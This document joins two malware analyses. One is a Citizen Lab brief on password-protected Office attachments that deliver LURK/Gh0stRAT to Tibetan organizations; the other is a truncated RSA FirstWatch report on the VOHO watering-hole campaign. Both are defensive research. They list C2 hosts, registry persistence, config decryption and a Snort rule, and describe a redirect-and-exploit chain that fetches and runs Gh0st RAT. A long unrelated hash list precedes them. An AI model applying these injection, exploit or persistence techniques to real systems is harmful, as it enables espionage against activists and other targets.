e61b128e97a39fe869cf89be571fe021 e691dc42a002e9f48f69cd33b70d8a15 e7f5a93eb76bab40d4aa088fba115aaf e7f93c894451ef1fdefa81c6b229852c e8664b135b6d681c812aa04ba14a120c e875d971524d45c10cf332ebf7256688 eb0e2d5ebf6f3dbb4510b85c30a9751d eb1dc493f005059c654817d153f7ee74 edbc569b5b5824a53721b71ad325a212 edfcb5ec135c94b77e4b94c2a82863b7 ee3ac02b6ca3d6c9012604d71017058f eebfa7677dedd10edf4aca985f16284c f03594793c06a097e4b1ac7e1d7079b8 f09e2e3a57d336cb65acab2bdd6b9d14 f1bb8a80e23b6c90004d97c7ef2d0454 f2627bf17528011130e5818bfac0afdb f2a405326747245e5db97c60e878660b f34195a2317bf079844bc44c92297cae f36007400f0c85784fd374ad4ed23c6e f362f47eb844f889bafd5a0e92c7cdf0 f3b95dad321a14500154e13cf3fbefe4 f3d302a8c56ea86d429157fde1793210 f50406b902601b005c1908a048489ca2 f50fa07be0222baffff05b23fdfd5b68 f5b65b971509eefa009d032003410faf f77aff1d1c0d94cc96828fb88f3280f3 f7e3b90592c75a6c3c15336d34d97a9e f9e64eba7185c266786857d7f933577b fa3f412be4ebf45f478135221365dda7 fa7641771280db462f088d8353dbcfbd fb11225f453365af4958f98bde2ce918 fc5364e8274a2eb8310d2528d78ac07e fe4d6a3428cd9f87d5a7044d733d2299 ff271c14549b133a4475ad6615e894da MD5 signatures for RegSubDat 01355596ec3596aa02b8c5f9f1adb5d6 030d492c8d12434144f9b1dc97928cb8 0434ae7b8267b08bd1c6ae17d6100353 048a3815cbf0b8dc9b4c3f680fcd913f 06054346974f309e1003faabac0d1dd5 0836b4a02971aaef33905a91799063ed 09e372c29e69e1edd29f02d4e660d33f 0cafb41eca73d768091bc93f4343cbb9 1050edb8cc0a073991bc637d590d89cc 12954f97e5db1cc86ecfe12be2ec7323 18f9d0973e60b13e7e28d0997e3a09e0 237d641b8267867b007ec94e0bbeff1a 2f6257eab8d3393ac6a96c490f1455ee 351f1ee0cc65d004d40183a7fb6ce616 36310e65b35780242d326f3f604b4c3f 3da70425c099ad4c050eaa4c3308d0cf 48c2d771e3083267a4f9e359ef0e53e5 49b7bc9ac3800caa49bca0a4b3350dbd 4ae7ac0060b938c50675ee2627e3c66d 52856c1a0c63509bf6c00ef1e9fca03c 58cde4ee026df987340a63cfc2c34318 5d53c97b800ca1519800b872bc3f9edf 5d88a3f713c610364fbf750f24af8257 646abf38720c7301698c32bec62d84ce 67d14ce17d3dab4a00d073b6315efc94 69f8d66ccd7fc63ee3f8a3e4f7d86f07 7019e8a17360a583931fb0908f31a2e2 7f7bf881da34242dd1927fda745812f1 81433a87eac3af2227623bf3239844de 83976d6937ebf841999f10bee38ab252 8b1c6478d620bfafbb2c5402d1f926c0 91c3ec270cca27a3785ac827a336c050 94d75acfc4c82c6e48e68b513ade057c 992fa71f3b5e4b1ca3a43d5b2a69e1c0 9a7f048e0e0d0f5bf117f19caef2db1f 9aa7d5ede53be461ab8c4d68fcaa50ab 9ec7da6881d2632a2e823176e915634b 9ef570a298116ac810fdde31a64c7631 a33ab32eeb02b677f9f2786dc3c0651c a3a1ea2c99d40620fc8dee0222228f24 a876acf60d6e4c4da1123fc11f01ced7 aa90c8e524edb644286c5c0f6c5de987 af0aa267ced776b99a7d157294ac59ba afd476bbc24a7f20afb017f6869fda65 b5b51dc06c3e9104fa59642952e69d49 b6352cc6e269277960a8da7c5f0306cd c5860171f919761db9ee78ef3dac5ab4 c6a8c1cdeff0745427aafc588db9c59f caf90ceece7242bb1147019daf14598f cc683fc365ec57eea4bc8e1f80a66413 ce47cb6268087cf5c27d77259496989c cff8e4eb16d010bcc33ad19eb807bd27 d408c2e627b3a895868bf16a3b228eac dcb3b9ea717603bf6f42e7ce61ea3728 dd1e6b39afcba13b3df3eae13f26d888 e2aa3ca52b8ea17c4bb80d294fec8ec5 e78cc8790ff97eb13d448c15f3f3acae ea20365eb2142afb4ab9a124808cb8c6 ecf15cce8bd4d6907d86ccff932b64af ef80d287bd10af3b1cab06d01795ae1a f5437d13428440412cbf5522adb25f8f f9d2fec1684529f580785dda5820b372 The Citizen Lab Research Brief Number 10 July 2012 Recent Observations in Tibet-Related Information Operations: Advanced Social Engineering for the Distribution of LURK Malware KEY FINDINGS Social engineering techniques observed in recent targeted malware attacks against Tibetan organizations appear to repurpose authentic, privately-held, sensitive content of Tibetan groups contrast to typical malware attacks that rely on simpler social engineering methods, such as referencing themes of interest to the organization or copying publicly available legitimate content. The use of this unique content suggests that attackers may have achieved a preliminary level of infiltration into Tibetan organizations, which could allow them to increase the apparent authenticity of subsequent attacks. These recent malware attacks have incorporated a passwording technique, whereby attached, infected Microsoft Office files are encrypted and can only be opened with a password provided in the email body. The payload of each of these targeted malware attacks is the LURK malware, a remote access trojan that is a variant of Gh0stRAT. Once active, the malware delivered through each of these targeted attacks connects to the same command-and-control server: dtl.dnsd.me:63 (184.105.64.183), which if inaccessible uses a backup domain, dtl.eatuo.com:63. Both dnsd.me and eatuo.com are dynamic DNS providers, and eatuo.com has the same domain registration information as the well-known Chinese provider 3322.net. Number 10 July 2012 BACKGROUND This blog post is the third in a series documenting the use of information operations against Tibetans and others who advocate for Tibetan rights and freedoms. Previous research by the Citizen Lab has described information operations that leveraged the issue of selfimmolations amongst Tibetans, as well as a recent European Parliament resolution on the human rights situation in Tibet. OVERVIEW In its ongoing study of targeted cyber threats against civil society organizations, Citizen Lab has analyzed 11 malicious emails sent to Tibetan organizations between May and July 2012 that display noteworthy common elements, including malware that connects to the same command-and-control server. Attackers have targeted at least three separate organizations, sending the malicious emails to seven different email addresses associated with those three organizations. In each of these emails, the malicious file is password-protected, such that it can only be opened with a password provided in the email text (or in one case, in an image attached to the email), and the payload LURK malware is the same. The level of authenticity of the social engineering used in these emails, however, has increased over time, with the most recent emails repurposing sensitive content of Tibetan groups that was most likely privately held and/or inaccessible to the general public. The use of such content suggests that attackers may have achieved a preliminary level of infiltration into Tibetan organizations, which could allow them to accomplish more advanced and effective social engineering, thereby increasing the risk of compromise. TARGETED MALWARE ATTACKS In the 11 emails there are four distinct messages used in the attacks, as outlined and illustrated below. The malicious attachments are all Microsoft Office documents two Word documents and two Excel files that are encrypted using four-digit numeric passwords, perhaps in an attempt to prevent detection of the malicious file by antivirus software, or to increase the apparent authenticity of the document. The passwords appear to have been chosen to reflect dates of historical significance with respect to Tibet for example, 1959 was the year of the Tibetan uprising against the rule of the Communist Party of China, which is commemorated by the Tibetan community every year on March 10. The malicious payloads all communicate with the same command-and-control (C2) server (discussed further below). Number 10 July 2012 Droeshi The first email, which was only sent to one email address of which we are aware, was sent on May 24, 2012 from what appears to be a compromised yahoo.com email account associated with a Tibetan activist, from the IP address 209.234.204.31 (likely a compromised server): Number 10 July 2012 Note that the salutation does not include the name of the recipient, nor is it signed. The password required to open the attachment is 4155.1 The attachment is a Word document named Droeshi final.doc when opened and supplied with the password, it crashes Word and drops its malicious payload (described in more detail below). No clean file is dropped or shown to the user, and there is no author or summary metadata. Statement of the Kashag The second email was sent on July 5 to at least two different organizations. The body of these emails contains only PASSWORD: 0706. 2 The subject is THE STATEMENT OF THE KASHAG ON THE SEVENTY-SEVENTH BIRTHDAY CELEBRATION OF HIS HOLINESS THE DALAI LAMA and the From address spoofs the real address of a Tibetan organization. Although the emails are identical and were sent from the same IP address (65.166.97.211), the actual email addresses used to send each message differ: eabliz@gmx.com and hientr@gmx.com. This email also attached a single Word document, July6thFinal.doc, that exhibits similar behaviour to the Droeshi document but drops a slightly different malicious executable. The concept notes The third email came in two versions on July 17, differing only in an additional blank line in the email body and a typo in the subject line of one version. The social engineering has been significantly stepped up in this attack, though there are still numerous tell-tale signs that it is not legitimate. This email had five attachments: four benign .docx files, as well as a malicious Excel file named EIDHR_action_plan.xlsx. Number 10 July 2012 Again there is no name in the salutation, but the email is signed in this case. The signature and From address used spoof a representative of the Office of Tibet. The Word documents attached to this email contain what appears to be an actual application by a Tibetan organization to the European Instrument for Democracy and Human Rights (EIDHR). The timing of this attack is particularly noteworthy in that a genuine EIDHR call for proposals including for Actions Aimed at Fighting Cyber-Censorship and to Promote Internet Access and Secure Digital Communication was pending at the time, with a July 20 deadline for concept notes. Such documentation related to grant proposals is typically of a sensitive and internal nature to civil society organizations, and inclusion of such content in a targeted malware attack is concerning, as it suggests access to confidential materials and perhaps even awareness of the parameters of the EIDHR call. Only the attached malicious Excel file requires the password 19333 to open, whereas the attached Word documents are not password protected. The malicious Excel file is actually an OLE file, not the newer Office Open XML format that the .xlsx extension suggests, and Excel refuses to open it unless the extension is changed to .xls. The dropped malicious executable is identical to the one from the Statement of the Kashag email. This file also drops a clean document, set.xls, in the user s temporary folder and opens it in Excel. The contents of the file were unreadable on all computers we tried it on, displaying only question marks. However, the metadata of the file shows the author as walkinnet Number 10 July 2012 We saw five instances of this message, going to three different organizations. The email with the typo in the subject ( Tthe concept notes ) went to two different organizations, from a different IP (66.103.141.237) than the Statement of the Kashag email. Different gmx.com addresses were used to send each message: c100tibet_board@gmx.com and ijoni_futbollisti@gmx.com. The other three instances of this email had the subject The concept notes and were sent by yet more unique gmx.com addresses: abarbour@gmx.com, jigme1@gmx.com and agnes9@gmx.com. The first two were sent from the same IP as used for the Statement of the Kashag, but the third came from 207.178.172.2. Number 10 July 2012 August visit of South African group The most recent email was sent on July 20 to at least two organizations, one of which received it at two different addresses. The email contains text and an Excel attachment that, as with the The concept notes email, suggest the attacker had access to confidential communications of a Tibetan organization. The spoofed From address, subject ( August visit of South African group ), and text of the email all appear to be repurposed from an authentic message sent to a Tibetan organization from a person seeking advice regarding an upcoming trip to Dharamsala, and the content includes in-depth details on trip logistics and planning. In this case, the password required to open the attached Excel file is not in the body of the email, but added (rather awkwardly) to an attached image of the logo of the organization belonging to the spoofed sender. The password is 1959, the year of the aforementioned Tibetan uprising. The attached Excel file, Dharamsala August 2012 Full program.xls, is similar to the malicious attachment in The concept notes email, but it drops a different clean file. In this case the file is readable and contains what is almost certainly an authentic itinerary, which is referenced in the email. The clean file is also called set.xls, defaults to the same Chinese font, and has the same walkinnet author metadata as the clean document in The concept notes. TECHNICAL ANALYSIS Delivery Methods Within the dataset examined by Citizen Lab, two Word documents and two Excel documents were sent embedded with LURK malware, a remote access trojan that is a variant of Gh0stRAT. Note that the XLSX file is actually a standard .XLS file, not the new XML format. The MD5 hashes of the documents are as follows: Droeshi final.doc 58f6922dedb0d43c4478a4f38ad08620 July6thFinal.doc f2a0787388dd6373336b3f23f204524a EIDHR_action_plan.xlsx 0fe550a5d1187d38984c505ef7741638 Dharamsala August 2012 Full program.xls 971f99af0f9df674a79507ed7b3010fb Number 10 July 2012 Each document is encrypted with a four-digit numeric password, a tactic seen previously in other emails. This tactic makes it more difficult to identify embedded payloads and the vulnerability used. All of the files except for the first (Droeshi final.doc) have the same malware files embedded. The first uses a variant of the LURK trojan that is very similar, but not identical, to the others. Infection In each of the four cases, the document exploit drops the LURK trojan: %Temp%\iexplore.exe Two different versions of the trojan were seen between the four cases. While they all use the same filenames, in one case, the MD5 of the trojan is different: July6thFinal.doc, EIDHR_action_plan.xlsx, Dharamsala August 2012 Full program.xls: 16160a6a9b905c69cb8e92c319212980 Droeshi final.doc: 1c22ee3326affee30c3fa65f0b8413d5 LURK also uses the following files: %AppData%\Application Data\Help\CREATELINK.EXE %AppData%\Help\IconCacheEt.DAT %AppData%\Help\IconConfigEt.DAT %AppData\\Help\iexplore.exe Additionally, the samples that use Excel as their vector also drop a clean file, opened after the malware executes: Number 10 July 2012 %Temp%\set.xls For persistence, the trojan also creates the following link in the Startup folder, pointing at the iexplore.exe binary in %AppData%: C:\Documents and Settings\user\Start Menu\Programs\Startup\iexplore.lnk The binary in %AppData% is only 9KB and acts as a launcher. IconConfigEt.DAT is the trojan s configuration file, storing the C2 server addresses and ports, as well as a campaign name identifier. The file is mostly encrypted, with the campaign name stored in the clear. The configuration options are read from the main executable using GetPrivateProfileStringW(), a function for preregistry configuration storage. This function is for backwards compatibility with pre-registry 16-bit Windows applications, and is not commonly used in modern applications. Number 10 July 2012 Decryption of the configuration file is done in sub_4044B0() using a key generated in sub_404430() the default is 0x11B29719, in the case of the more common version of the trojan the key is 0x11B297A9. Once the values have been read from the decrypted file, it is re-encrypted in sub_404560(). Encrypted on disk (default): Decrypted: Once the configuration file is decrypted, the values are still not readable. Fortunately, the second layer decryption is an easy process just decrement each character by 1. The values read from the configuration file are: 1. Section [PPP], key P: Primary C2 server port number 2. Section [WWW], key W: Primary C2 server name 3. Section [PPP1], key P1: Secondary C2 server port number 4. Section [WWW1], key W1: Secondary C2 server name 5. Section [PPP2], key P2: Tertiary C2 server port number 6. Section [WWW2], key W2: Tertiary C2 server name 7. Section [MMM], key M: Campaign name Number 10 July 2012 In the configuration files we have looked at for this run, the primary server is dtl.dnsd.me:63, and the secondary server is dtl.eatuo.com:63. Both dnsd.me and eatuo.com are dynamic DNS providers, and eatuo.com has the same domain registration information as the well-known Chinese provider 3322.org. No tertiary server is given. The malware checks in sub_4040E0() for a value of Mark in the registry at the following location: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\DbxUpdateET\ If a value is not found, it is set with the campaign name read from the configuration file key M. Campaign Names The four samples we received use three different campaign names, identified as follows in value 7 of each configuration file: Droeshi final.doc: campaign id TIBET July6thFinal.doc: campaign id T706 (note that the password on the file is also 0706, keeping on theme) EIDHR_action_plan.xlsx: campaign id T801 Dharamsala August 2012 Full program.xls: campaign id T801 The campaign names strongly suggest that these runs are specific to the Tibetan community, and that the Txxx attacks may be coming from the same source. The July6thFinal.doc, EIDHR_action_plan.xlsx, and Dharamsala August 2012 Full program.xls documents all drop the same trojan; the Droeshi final.doc trojan is slightly different (although uses much of the same code). Malware Analysis These samples match the behavior seen with other recorded instances of samples from this family in the wild. LURK is also known as Troj~Agent-XAT (Sophos), TROJ_MDROP.TPB and TROJ_MDROP.TPC (Trend Micro), and can also be picked up by more general antivirus detection such as Generic PWS.y (McAfee). In Number 10 July 2012 the sample analyzed by Sophos, the campaign ID is IE_0day not immediately related to attacks on the Tibetan community. Many more samples within this family exist with reports online look for DbxUpdateET (where the campaign ID is stored in the registry) or the dropped files IconCacheEt and IconConfigEt. Another Tibetan-themed example using the dtl.eatuo.com domain was reported by ZenLab on March 26, 2012. The LURK malware is also referenced with a description of the communication protocol in Command Five paper Command and Control in the Fifth Domain. The network behavior we observed matches the described protocol. An additional file with the T801 campaign ID that we observed used twice was uploaded to ThreatExpert and can be found here. Command and Control Information A port scan of the C2 server shows the following ports are open: PORT STATE SERVICE VERSION 21/tcp open tcpwrapped 53/tcp open domain? 80/tcp closed http 81/tcp open hosts2-ns? 135/tcp open msrpc Microsoft Windows RPC 1026/tcp open msrpc Microsoft Windows RPC 8080/tcp open http-proxy? In addition to port 63 (which is not shown as open in the above scan), ports 81 and 53 are both LURK. Network Traffic In addition to the dropped files, infected machines can be found on a network by looking for the following indications of compromise: DNS lookup of the C2 domains: dtl.dnsd.me, dtl.eatuo.com Traffic to the C2 IP: 184.105.64.183 this includes traffic over port 53, which is normally DNS Number 10 July 2012 TCP traffic over port 53 that begins with LURK0 The beginning of a network connection to the C2 server looks like this: If the C2 is not actively responding, not much data will be transmitted beyond TCP: For detection, Jaime Blasco from AlienVault has written a Snort rule that will detect LURK traffic (originally found here): Number 10 July 2012 alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: APT LURK communication protocol detected ; flow:established,to_server; content: |4C 55 52 4B 30| ; depth:5; reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf; classtype:trojan-activity; sid:3000006; rev:1;) RECOMMENDATIONS Civil society organizations, particularly those working on issues related to Tibetan rights, should exercise caution with respect to any email containing a link or attachment. As the targeted malware attacks analyzed in this report demonstrate, content used to induce a recipient to open a malicious file may at one point have actually been authentic and private and is that much more likely to appear legitimate. For tips on other ways to detect probable malware attacks and prevent compromise, see Citizen Lab s Recommendations for Defending Against Targeted Cyber Threats. Civil society organizations should be wary of emails attaching password-protected documents and providing said password in the email body. Such purported security measures are not an indicator of authenticity. Citizen Lab encourages civil society organizations and individuals working on human rights issues that have encountered these types of targeted malware attacks to contact us at hrthreats[AT]citizenlab.org. We appreciate submission of data, which will help strengthen our analysis of cyber threats. __________________ FOOTNOTES On April 1, 1955, the governments of India and China signed a protocol by which India handed over control of communications services in Tibet to China. See Protocol between the Governments of India and China Regarding the Handing Over of Postal, Telegraph and Public Telephone Services in the Tibet Region of China. Number 10 July 2012 The Fourteenth Dalai Lama Tenzin Gyatso was born on July 6, 1935. The Thirteenth Dalai Lama Thupten Gyatso passed away on December 17, 1933. THE VOHO CAMPAIGN: AN IN DEPTH ANALYSIS RSA FirstWatchSM Intelligence Report White Paper In July of 2012, the RSA FirstWatchSM research and intelligence team identified an emerging malicious code and content campaign spreading at a rapid rate within very About RSA FirstWatchS M Team specific geographic theaters. These clusters were confined to ten geographic areas RSA FirstWatchSM team is an elite, highly trained global threat research and intelligence team designed to operate in a number of disciplines to provide tactical and strategic intelligence on advanced threats, threat campaigns and threat actors. The team, lead by Will Gragido, focuses on advanced threat research and intelligence which culminates in threat feeds, digests, profiles and ecosystem analysis designed to aid the RSA NetWitness user community and the information security community at large in contending with these challenges. and involved thousands of hosts. To the untrained eye it would appear the hosts Contributing Authors Alex Cox, Principal Researcher, RSA FirstWatch Team Chris Elisan, Principal Malware Researcher, RSA FirstWatch Team Will Gragido, Sr.Manager, RSA FirstWatch Team Chris Harrington, Consulting Security Engineer, EMC CIRC Jon McNeill, Principal Technologist, RSA FirstWatch Team involved in this campaign were compromised as the result of innocent web surfing using a common drive-by attack mechanism. While at face value this is true, our investigation infers that the populations compromised were not chosen in an indiscriminate manner, but rather with great forethought. Based on the RSA FirstWatch research, we believe these websites were likely chosen with exact precision and great consideration; selected from thousands upon thousands of websites due to familiarity and proximity to the targets of interest that the threat actors responsible for the campaign were truly interested in compromising. The RSA-FirstWatch team s research led to the identification of this campaign and its name, VOHO . From a tools, technique and procedure (TTP) perspective, the RSA FirstWatch team believes this campaign aligns with the Advanced Persistent Threat (APT) threat model, including communications emitting from compromised hosts to IP addresses confirmed as Command and Control (C2) servers (in this case, located in Hong Kong); code re-use using exploit scripts and ultimately, a before-unseen variant of Gh0st RAT malware. Additionally, targets appeared to be specifically chosen to compromise hosts involved in business and local governments in Washington, DC and Boston, Massachusetts, as well as organizations involved the development and promotion of democratic process in non-permissive regions. As a whole, these specific TTPs have been observed in previous APT attack campaigns, most notably, Aurora i and Ghostnet ii. Through our research, the RSA FirstWatch team identified what it believes to be the primary mechanism for tactical and strategic infection of victims affiliated with targets of opportunity. While this attack methodology has been observed before, it has not been widely documented or disseminated. As such, we have termed this technique Water Holing The architects of these campaigns survey and select the websites (known as pivot or redirector sites) leveraged in these attacks carefully. Weighing their geographic relevance, proximity to their desired targets of opportunity, and likelihood of being traversed by potential victim-users associated with the attacker objective, the adversary carefully exploits vulnerable systems and inserts malicious scripts to deliver a Trojan payload via browser-based exploits to visitors to the website. Throughout this paper, we will examine the evolution of this threat campaign, its ties to other comparable threat campaigns where variants of the malicious payload seen in this attack (gh0strat) have been identified and chronicled, epicenters of geographic activity associated with this campaign, industry/verticals targeted in this campaign and the construction of the attribution chain. Specifics Using the tactic of crafting a Watering Hole , the majority of the redirection activity occurred because of JavaScript elements on two specific websites. hxxp://www.xxxxxxxxtrust.com hxxp://xxxxxxcountymd.gov Respectively, these two sites one a regional bank in Massachusetts and a local government serving the Washington DC suburbs. We also saw an additional chain of websites with a geopolitical central theme redirecting to the exploit site: hxxp://ifxx.org hxxp://xxxxxxcenter.org hxxp://xxi.org hxxp://xxxxxxx.prio.no hxxp:/xxxxxxxxpolitics.com hxxp://www.rfxxx.org Additionally, sites serving the Defense Industrial Base and Educational community were also observed redirecting to the exploit site: hxxp://www.gftxxx.org hxxp://www.xxxxxxantennas.com When taken as a whole, this campaign appears to have targeted: Boston, Massachusetts area users Political Activists Users Washington, DC and its suburbs Defense Industrial Base Education Malicious Infrastructure Hosts visiting the aforementioned sites were redirected to a website of enthusiasts of a lesser known sport at the following domain: hxxp://xxxxxxxcurling.com This site attempted to exploit the following host vulnerabilities, in two different attack campaigns: Microsoft XML Core Services CVE-2012-1889 Java Exploit CVE-2012-1723 Once successfully exploited, the installed Gh0st RAT would beacon to one of two IP addresses: 58.64.155.59 58.64.155.57 Exploit Specifics Attack Methodology Overview hxxp://xxxxxxxcurling.com Compromise Files found on the sporting group website indicate that this server was likely compromised with a remote buffer overflow (CVE-2008-3869/CVE-2008-3870) against the server s sadmind daemon. Additional files indicated the ability to establish a remote shell on demand. It is unknown if this method was also used to compromise the watering hole sites. In these cases, the following code snipped was added to publically accessible pages on the site, typically .js files are used to process a site s JavaScript: document.write(''); This is a simple redirection mechanism that will cause the browser to redirect and load content from the remote site. Hits to iframe.js launch an enumeration and exploit chain that attempts to exploit two different vulnerabilities, Gh0st RAT is a multiple-purpose remote access tool that allows extensive remote control of compromised hosts. While there is no known evidence linking this attack to previous attacks, gh0st has historically been used in politically motivated espionage by nation-state attackers, in a similar manner as seen in this campaign depending on the specific redirection path: Microsoft XML Core Services CVE-2012-1889 Java Exploit CVE-2012-1723 Phase 1 - Exploit Chain Microsoft XML Core Services From our research, this campaign occurred between June 25th, 2012 and July 18th 2012 in which attackers sought to exploit the CVE-2012-1889 vulnerability that was zero-day and was being used in targeted attacks as noted in early June iii. In this attack, a successful exploit on CVE-2012-1889 followed the following path: [Watering Hole Sites] http://xxxxxxcountymd.gov (or other water hole site) http://www.xxxxxxxcurling.com/Results/cx/magma/iframe.js http://www.xxxxxxxcurling.com/Results/cx/magma/module.php http://www.xxxxxxxcurling.com/Results/cx/magma/engine.js http://www.xxxxxxxcurling.com/Results/cx/magma/if.htm http://www.xxxxxxxcurling.com/Results/cx/magma/enblue.htm http://www.xxxxxxxcurling.com/Results/cx/magma/book.cab Figure 1: iFrame.js Flow Iframe.js Iframe.js checks if the visiting machine is running a Windows operating system and Internet Explorer. It also sets a cookie value (presumably to track individual visits). If the visiting machine is running a Windows operating system and Internet Explorer, it forward to module.php. Module.php Module.php uses a simple redirection script to redirect the browser to Engine.js Engine.js Engine.js looks for processes related to the following antivirus engines using an older vulnerability in Internet Explorer (CVE-2007-4848) that allows local file enumeration: Trend Micro McAfee Symantec However, the results of this check don t change the outcome of the script running in all cases; it simply results in the loading of if.htm . We believe this to be a case of existing exploit script re-use, with slight changes to suit the attackers current purpose. This particular enumeration script was seen previously in APT-style attacks back in July of 2011, as detailed here on the contagiodump blog iv. Within the blog, noted industry researcher Mila Parkour, cited the presence and use of borrowed scripts having likely originated in Asia, specifically the so called xKungfoo script in attacks launched associated with numerous campaigns targeted at political dissidents. v Additionally, Ms. Parkour has also noted and documented the presence of this weaponizable code in numerous locales on the Internet today. vi vii In the following figures evidence of the presence and availability of the xKungFoo script (the script referenced by Mila Parkour and noted as being germane to the RSA FirstWatch investigation) along with endorsement by the author can be seen: Figure 2: Website Where xKungFoo Script Originates Figure 3: Example of xKungFoo Script Originates Figure 4: Endorsement by Author Regarding xKungFoo If.htm 1) Checks if the visiting host s user agent reflects is one of the following: Unknown Windows XP Windows 2003 Windows VistaWindows 7 Checks if the visiting hosts language settings are: English Chinese French German Japanese Portuguese Korean Russian Enblue.htm Enblue.htm uses the CVE-2012-1889 XML vulnerability to compromise the visiting browser, which results in a pull and installation of the gh0st RAT malware. This script also appears to be code reuse of a script seen on pastebin as follows: http://pastebin.com/VfmuhEiq Interestingly, this code was also purportedly used in previous nation-state sponsored attacks on Gmail accounts viii. Book.cab Book.cab, the final payload, is an obfuscated executable which, when de-obfuscated using XOR 95, is the gh0st RAT sample named vptray.exe (e6b43 c299a9a1f5abd9be2b729e54577) Phase II - Exploit Chain Sun Java Phase II of this campaign, using the same infrastructure, but with a different directory for the exploit chain files as follows: [Watering Hole Sites] hxxp://xxxxxcountymd.gov (or other water hole site) hxxp://www.xxxxxxxcurling.com/Docs/BW06/iframe.js hxxp://www.xxxxxxxcurling.com/Docs/BW06/module.php hxxp://www.xxxxxxxcurling.com/Docs/BW06/engine.js hxxp://www.xxxxxxxcurling.com/Docs/BW06/if.htm hxxp://www.xxxxxxxcurling.com/Docs/BW06/applet.jar Figure 5: Java Exploit Chain If.htm In this case, all of the scripts were identical up to if.htm , which instead contained a java call that loaded applet.jar, as well as a large blob of obfuscated code as a param element. This large blob of code is a binary obfuscated with XOR 77, which the java applet deobfuscates and runs as svohost.exe (2fe340fe2574ae540bd98bd9af8ec67d). Figure 6: Java Applet Deobfuscates and Runs as svohost.exe Watering Hole Specifics Strategically, the idea of using a target s interests and likely access points is not a new method of attack. Undertaking it on such a large scale, however, is notable and unusual in the APT space. In this campaign, five separate classes of sites that were compromised and trojanized to redirect to the exploit chains on the sporting group website. They were: Sites with Geographic and Target Relevance to the Boston, MA area Sites with Geographic and Target Relevance to Political Activism Sites with Geographic and Target Relevance to the Washington, DC and its suburbs areas Sites with Geographic and Target Relevance to the Defense Industrial Base Sites with Geographic and Target Relevance to the Education Additionally, there were a spattering of non-related sites that appeared to be simple redirectors to one of the above-categorized sites. This sort of redirector is often used in spam campaigns to obfuscate the final location of the exploit server in an attempt to bypass email malware controls. While we don t have specific examples of related spam activity, this seems a likely such use of the additional sites. One of the main sources of infection for these campaigns were sites that support the cause of democratic process in non-permissive environments, or the communication of information related to free speech. That is, entities and people that seek to promote democratic government in countries whose existing political structure and power doesn t support (and indeed, persecutes) such governmental change. This particular strategic vector has been observed in prior nation-state sponsored attacks. Though several sites were targeted by the adversarial element behind this campaign some stood out due to their relationships to matters of geopolitical relevance, philanthropy, and news media. Five primary sites were compromised and used as pivot sites from a water holing perspective in this campaign. They were largely North American with the exception of one European example. Additionally, a large percentage of infection activity occurred as a result of sites compromised and converted into water holes that offered services to the Washington, DC and Boston, MA areas. As the political and governmental hub of the United States of America, wholesale compromise of computers in this area would provide a wealth of intelligence for adversaries interested in political process and government action. Furthermore it should be noted that RSA FirstWatch has noted and verified the compromise of nearly one thousand unique organizations distinct from those noted within this work. Figure 7: Industries and Regions Leveraged in Water Holing Activity Political Activism Metro Washington, Government Education Watering Hole Pivot Sites Defense Industrial Base Metro Boston Financial Svcs Gh0st RAT RAT Overview Remote Access Tools\Trojan (RAT) are typically offered as a legitimate remote administration tool for system administrators, but have largely been used for remote hacking and information collection for intelligence purposes or lateral movement activities. While they are similar in function to purpose-built botnets, which also tend to use client/server architecture, RATs typically offer a wide range of features rather than the single focus that most modern botnet malware adheres to. Typically, RATs have the ability to: Capture keystrokes Remote monitoring of webcam and/or microphone File system search/browse Use of local command prompt Execution of arbitrary programs File download/upload Gh0st RAT Specifics Gh0st came to prominence following the 2009 publication of Tracking Ghostnet: Investigating a Cyber Espionage Network , in which this malware was used to infiltrate computers associated with the Dalai Lama and was used to compromise information related to Tibetan affairs. Gh0st contains all of the above-mentioned capabilities when successfully installed on a target An excellent overview of this tool can be found in the McAfee report titled Know your Digital Enemy ix. Since the publication of this report, the use of gh0st in hacking incidents has exploded, with the RSA FirstWatch team being aware of at least 50 unique gh0st networks. This can be largely explained, much like the proliferation of ZeuS cybercrime malware, to the open availability of Gh0st source code on the internet. When source code for this type of malware is available globally it allows open source evolution of the malware to add new features and capabilities, but more importantly, it permits the constant modification of indicators used by defenders to detect malware activity in their environment. From an operational sense, having easy opportunity to modify source code allows a much more robust compromise, with decreased likelihood of attacker detection. In many cases this detection is based on: Knowledge of known C2 locations Detection of a common gh0st string that is seen in the network communication of unmodified gh0st configurations. Figure 8: Common Technique Empolyed by Gh0st Networks Operators A common countermeasure used by operators of gh0st networks is to change this gh0st string prior to malware compilation to defeat basic IDS signatures. VOHO Sample Analysis Fake Symantec Update Variant 1 VPTray.EXE e6b43c299a9a1f5abd9be2b729e54577 This malware comes in a UPX compressed binary, which disguises itself as an update from Symantec but instead it installs a backdoor in the target system. When the malware is first executed, its first order of business is to install itself in the system. It does this by dropping an exact copy of itself with the name VPTray.EXE in the current user Local Settings\Temp folder. It then modifies the Windows registry for it to autostart every boot up. It does this by using the following registry keys. HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run HKEY_USERS\\Software\Microsoft\Windows\Current\Version\Run By using the HKCU and HKU registry hives, the malware is targeting users that are currently logged into the machine when the initial infection began instead of the machine itself. This technique is especially useful when the target uses roaming profiles. The malware adds the value SymantecUpdate to these keys and pass itself off as an update from Symantec. This is a simple technique that is designed to fool the untrained eye. To reinforce this, the malware employs a certain level of obfuscation to hide the data, which is the location and filename of the malware, by using HEX digits to represent each string characters instead of the more common ASCII. In this case, instead of the data being: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\VPTray.exe It is represented in the registry as: 43:3a:5c:44:4f:43:55:4d:45:7e:31:5c:41:44:4d:49:4e:49:7e:31:5c:4c:4f:43:41:4c:53:7e:31 :5c:54:65:6d:70:5c:56:50:54:72:61:79:2e:65:78:65:00. This installation technique of dropping an exact copy of itself tells us that the malware can survive and install itself without the aid of a dropper or a downloader. It has the capability to check whether it is running in the appropriate location and if it is properly installed on the system. If not, it proceeds with the installation process. This technique is advantageous if the malware has not been removed properly. A surviving main component can recreate what was removed including the necessary registry changes needed by the malware. Aside from dropping VPTray.EXE it also drops the binary file UP.BAK in the same Local Settings\Temp folder. This is the backdoor component of the malware. Once all of these are accomplished, the original malware passes control to VPTray.EXE and then deletes itself to remove any traces of its existence. Figure 9: Memory dump of the malware containing the strings of the filenames of the dropped files and the registry value. Once the malware is active in the system it utilizes certain protective mechanisms such as the following: Registry Editor is disabled Windows System Restore is disabled Disabling the registry editor prevents the auditing and review of registry entries, especially those that are 